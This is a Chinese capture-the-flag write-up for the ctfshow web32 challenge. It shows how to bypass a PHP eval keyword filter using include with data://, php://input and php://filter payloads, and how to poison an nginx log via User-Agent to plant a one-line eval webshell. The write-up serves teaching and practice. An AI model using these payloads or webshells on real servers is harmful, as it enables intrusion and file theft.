[ctfshow web入門] web32

前置知識

協議相關博客:https://blog.csdn.net/m0_73353130/article/details/136212770
includeinclude "filename"這是最常用的方法,除此之外還可以 include url,被包含的文件會被當做代碼執行。
data://: PHP 支持的一種數據流協議,用于將數據直接嵌入到代碼中。相關博客:data://協議
data://text/plain:要求按照文本格式將內容嵌入代碼中,使用方法:data://text/plain,content
php://input:讀取原始的POST數據,只能讀一次。詳情看這里https://docs.pingcode.com/ask/45614.html
php://filter:過濾器,以一定的規則處理要讀寫的文件。詳情:https://blog.51cto.com/u_16248628/7588596

user-agent:一個特殊字符串頭,使得服務器能夠識別客戶使用的操作系統及版本、CPU 類型、瀏覽器及版本、瀏覽器渲染引擎、瀏覽器語言、瀏覽器插件等。

信息收集

更多的過濾,我大概猜測一下每一個過濾的用意
flag:不能直接輸入文件名
system:不許使用system函數
php:不許輸入flag.php,不能使用<?php ?>
cat:不許執行系統指令cat
sort:系統命令,將文本內容排序后輸出,類似cat
shell:不許使用shell_exec
.:不許使用flag.php,不許使用字符拼接,php中可以用.拼接字符串例如 $a="12" $b="34" $a.$b==="1234"
空格:系統命令中多需要空格,例如tac flag.php
':不允許自定義字符串
`(反引號):不允許使用shell命令。`ls` 效果等同于shell_exec('ls')
echo:不允許使用echo打印
;:不允許使用;在代碼結尾,這使得函數執行更為困難了
(:不允許使用函數
/i:忽略大小寫

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

解題

如果需要使用空格,那么參看 ASCII碼表, %09-%0D上只要有一個能夠使用,那么就能繞過空格過濾,例如:tac%0aflag.php,推薦使用最常用的%0a
不能使用函數了,因為括號被限制了。連 ` 也被限制了,系統命令也不行了
include是不需要括號的,所以我們可以考慮從include入手。

發現一個好玩的東西:這里為什么一定要加一個函數而不是直接類如?c=$_GET["1"]?>&1=xxx;呢,原因是
例如c=$_GET[1]&1=echo 123;eval($_GET[c]) ? eval("$_GET[1]") ? "echo 123;",第一次系統自動換算$_GET[c],第二次使用eval解析字符串 "$_GET[1]",得到結果echo 123;

方法1.1

方法1將以協議相關的方法進行嘗試

下面語句的意思是
eval($_GET[c]); ? eval("include$_GET[1]") ? include$_GET[1] ? include "data://text/plain,<?php system("tac flag.php") ?>" ? <?php system("tac flag.php") ?>

?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php") ?>

其中?>利用了php的機制,當遇到?>時會自動添加一個;,也就是說<?php ehco 123 ?><?php ehco 123; ?>等效。我們利用這個機制繞過;的過濾。
使用$_GET[1]中轉一次是因為太多東西被過濾了,非常不方便

在這里插入圖片描述


方法1.2

下面語句的意思是
eval($_GET[c]); ? eval("include$_GET[1]") ? include$_GET[1] ? include php://input

?c=include$_GET[1]?>&1=php://input

post:

<?php system('ls')?>

在使用google的hackbar時需要注意,使用raw模式,basic模式下后臺無法獲取到不帶=的post數據。
原因:https://github.com/0140454/hackbar/issues/56

在這里插入圖片描述


方法1.3

這一類方法的主要目的是讀取文件,并讓<?php標簽失效,以文本顯示代碼
將flag.php以base64加密的方法讀取,這會將一串base64顯示到頁面上,拿去解密即可獲取flag

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

類似的,把ascii編碼變成utf-16編碼

?c=include$_GET[1]?>&1=php://filter/read=convert.iconv.ascii.utf-16/resource=flag.php

方法2

user-agent
之前都是使用過濾器,那么不用過濾器行不行,當然行啊,不行我肯定不寫出來了。
我們包含/var/log/nginx/access.log
你問為什么我知道是這個目錄
apache日志存放路徑:/var/log/apache/access.log
Ngnix日志存放路徑:/var/log/nginx/access.log/var/log/nginx/error.log
沒有放這里或者沒開啟日志,那就用不了
在這里插入圖片描述

有沒有發現這個玩意很熟悉,這不就是user-agent

利用原理:每次都會將user-agent寫入日志里,如果傳入的日志里有惡意代碼,也會被寫道日志里,但代碼此時并不會被運行。由于我們使用了include包含日志文件,日志文件中的<?php ... ?>標簽中的代碼會被當做代碼執行,而其他文本當做普通文本顯示。

寫一句話木馬

<?php eval($_POST[2]) ?>

然后拿蟻劍連接它,之前想要直接用system(“tac flag.php”)的,沒反應,只能蟻劍連,原因不詳。
蟻劍使用參看[ctfshow web入門] web31
在這里插入圖片描述
蟻劍連接,接不上url寫成http沒有s,一句話木馬寫$_REQUEST或者$_POST,不要用$_GET

url/?c=include$_GET[1]?>&1=/var/log/nginx/access.log
密碼:2    因為$_POST[2]

在這里插入圖片描述

web31 ?? 目錄 ?? web33

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/900794.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/900794.shtml
英文地址,請注明出處:http://en.pswp.cn/news/900794.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

kotlin中const 和val的區別

在 Kotlin 中&#xff0c;const 和 val 都是用來聲明常量的&#xff0c;但它們的使用場景和功能有所不同&#xff1a; 1. val: val 用于聲明只讀變量&#xff0c;也就是不可修改的變量&#xff08;類似于 Java 中的 final 變量&#xff09;。它可以是任何類型&#xff0c;包括…

【STM32】綜合練習——智能風扇系統

目錄 0 前言 1 硬件準備 2 功能介紹 3 前置配置 3.1 時鐘配置 3.2 文件配置 4 功能實現 4.1 按鍵功能 4.2 屏幕功能 4.3 調速功能 4.4 倒計時功能 4.5 搖頭功能 4.6 測距待機功能 0 前言 由于時間關系&#xff0c;暫停詳細更新&#xff0c;本文章中&#xff0c;…

任務擴展-輸入商品原價,折扣并計算促銷后的價格

1.在HbuilderX軟件中創建項目&#xff0c;把項目的路徑放在xampp中的htdocs 2.創建php文件&#xff1a;price.php,price_from.php 3.在瀏覽器中&#xff0c;運行項目效果&#xff0c;通過xampp中admin進行運行瀏覽&#xff0c;在后添加文件名稱即可&#xff0c;注意&#xff…

3D Gaussian Splatting as MCMC 與gsplat中的應用實現

3D高斯潑濺(3D Gaussian splatting)自2023年提出以后,相關研究paper井噴式增長,盡管出現了許多改進版本,但依舊面臨著諸多挑戰,例如實現照片級真實感、應對高存儲需求,而 “懸浮的高斯核” 問題就是其中之一。浮動高斯核通常由輸入圖像中的曝光或顏色不一致引發,也可能…

【軟件測試】Postman中如何搭建Mock服務

在 Postman 中&#xff0c;Mock 服務是一項非常有用的功能&#xff0c;允許你在沒有實際后端服務器的情況下模擬 API 響應。通過創建 Mock 服務&#xff0c;你可以在開發階段或測試中模擬 API 的行為&#xff0c;幫助團隊成員進行前端開發、API 測試和集成測試等工作。 Mock 服…

Spring-MVC

Spring-MVC 1.SpringMVC簡介 - SpringMVC概述 SpringMVC是一個基于Spring開發的MVC輕量級框架&#xff0c;Spring3.0后發布的組件&#xff0c;SpringMVC和Spring可以無縫整合&#xff0c;使用DispatcherServlet作為前端控制器&#xff0c;且內部提供了處理器映射器、處理器適…

關于Spring MVC中@RequestParam注解的詳細說明,用于在前后端參數名稱不一致時實現參數映射。包含代碼示例和總結表格

以下是關于Spring MVC中RequestParam注解的詳細說明&#xff0c;用于在前后端參數名稱不一致時實現參數映射。包含代碼示例和總結表格&#xff1a; 1. 核心作用 RequestParam用于顯式綁定HTTP請求參數到方法參數&#xff0c;支持以下場景&#xff1a; 參數名不一致&#xff1…

MySQL主從復制技術詳解:原理、實現與最佳實踐

目錄 引言&#xff1a;MySQL主從復制的技術基礎 MySQL主從復制的實現機制 復制架構與線程模型 復制連接建立過程 數據變更與傳輸流程 MySQL不同復制方式的特點與適用場景 異步復制&#xff08;Asynchronous Replication&#xff09; 全同步復制&#xff08;Fully Synch…

ROS Master多設備連接

Bash Shell Shell是位于用戶與操作系統內核之間的橋梁&#xff0c;當用戶在終端敲入命令后&#xff0c;這些輸入首先會進入內核中的tty子系統&#xff0c;TTY子系統負責捕獲并處理終端的輸入輸出流&#xff0c;確保數據正確無誤的在終端和系統內核之中。Shell在此過程不僅僅是…

Trae + LangGPT 生成結構化 Prompt

Trae LangGPT 生成結構化 Prompt 0. 引言1. 安裝 Trae2. 克隆 LangGPT3. Trae 和 LangGPT 聯動4. 集成到 Dify 中 0. 引言 Github 上 LangGPT 這個項目&#xff0c;主要向我們介紹了寫結構化Prompt的一些方法和示例&#xff0c;我們怎么直接使用這個項目&#xff0c;輔助我們…

《安富萊嵌入式周報》第352期:手持開源終端,基于參數陣列的定向揚聲器,炫酷ASCII播放器,PCB電阻箱,支持1Ω到500KΩ,Pebble智能手表代碼重構

周報匯總地址&#xff1a;嵌入式周報 - uCOS & uCGUI & emWin & embOS & TouchGFX & ThreadX - 硬漢嵌入式論壇 - Powered by Discuz! 視頻版 https://www.bilibili.com/video/BV1DEf3YiEqE/ 《安富萊嵌入式周報》第352期&#xff1a;手持開源終端&#x…

python 淺拷貝copy與深拷貝deepcopy 理解

一 淺拷貝與深拷貝 1. 淺拷貝 淺拷貝只復制了對象本身&#xff08;即c中的引用&#xff09;。 2. 深拷貝 深拷貝創建一個新的對象&#xff0c;同時也會創建所有子對象的副本&#xff0c;因此新對象與原對象之間完全獨立。 二 代碼理解 1. 案例一 a 10 b a b 20 print…

day22 學習筆記

文章目錄 前言一、遍歷1.行遍歷2.列遍歷3.直接遍歷 二、排序三、去重四、分組 前言 通過今天的學習&#xff0c;我掌握了對Pandas的數據類型進行基本操作&#xff0c;包括遍歷&#xff0c;去重&#xff0c;排序&#xff0c;分組 一、遍歷 1.行遍歷 intertuples方法用于遍歷D…

SpringMVC的請求-文件上傳

文件上傳客戶端三要素 1. 表單項type“file” 2. 表單的提交方式是post 3. 表單的enctype屬性是多部分表單形式&#xff0c;及enctype“multipart/form-data” <% page contentType"text/html;charsetUTF-8" language"java" %> <html> <he…

在Ubuntu系統如何讓MySQL服務器支持遠程連接

目錄 問題描述 解決方案 步驟一&#xff1a;檢查MySQL配置文件 ?編輯 步驟二&#xff1a;修改bind-address參數 ?編輯 步驟三&#xff1a;重啟MySQL服務 步驟四&#xff1a;驗證更改 步驟五&#xff1a;檢查防火墻設置 步驟六&#xff1a;測試遠程連接 注意事項 …

JSON工具-JSONUtil

對象轉JSON JSONUtil.toJsonStr可以將任意對象&#xff08;Bean、Map、集合等&#xff09;直接轉換為JSON字符串。 如果對象是有序的Map等對象&#xff0c;則轉換后的JSON字符串也是有序的。 //region 處理POST請求&#xff0c;將TreeMap轉換為JSON字符串返回/*** 處理POST請求…

死鎖 手撕死鎖檢測工具

目錄 引言 一.理論聯立 1.死鎖的概念和原因 2.死鎖檢測的基本思路 3.有向圖在死鎖檢測中的應用 二.代碼實現案例&#xff08;我們會介紹部分重要接口解釋&#xff09; 1.我們定義一個線性表來存線程ID和鎖ID 2.表中數據的查詢接口 3.表中數據的刪除接口 4.表中數據的添…

Java 中 SQL 注入問題剖析?

一、引言? 在當今數字化時代&#xff0c;數據是企業和組織的核心資產之一。許多應用程序都依賴于數據庫來存儲和管理數據&#xff0c;而 Java 作為一種廣泛使用的編程語言&#xff0c;常被用于開發與數據庫交互的應用程序。然而&#xff0c;SQL 注入這一安全漏洞卻如同隱藏在…

安全理念和安全產品發展史

從安全理念的發展歷史來看,技術與產品的演進始終圍繞 “威脅對抗” 與 “業務適配” 兩大核心展開。以下從七個關鍵階段解析安全技術與產品的發展脈絡,并結合最新實踐與未來趨勢提供深度洞察: 一、密碼學奠基階段(1970s 前) 安全理念:以 “信息保密” 為核心,防御手段…

【Ansible自動化運維】二、Playbook 深入探究:構建復雜自動化流程

? 在 Ansible 自動化運維體系中&#xff0c;Playbook 是極為關鍵的部分。它允許我們以一種結構化、可重復的方式定義和執行一系列復雜的任務&#xff0c;從而構建高效的自動化流程。本篇文章將深入探究 Ansible Playbook 的各個方面&#xff0c;助您掌握構建復雜自動化…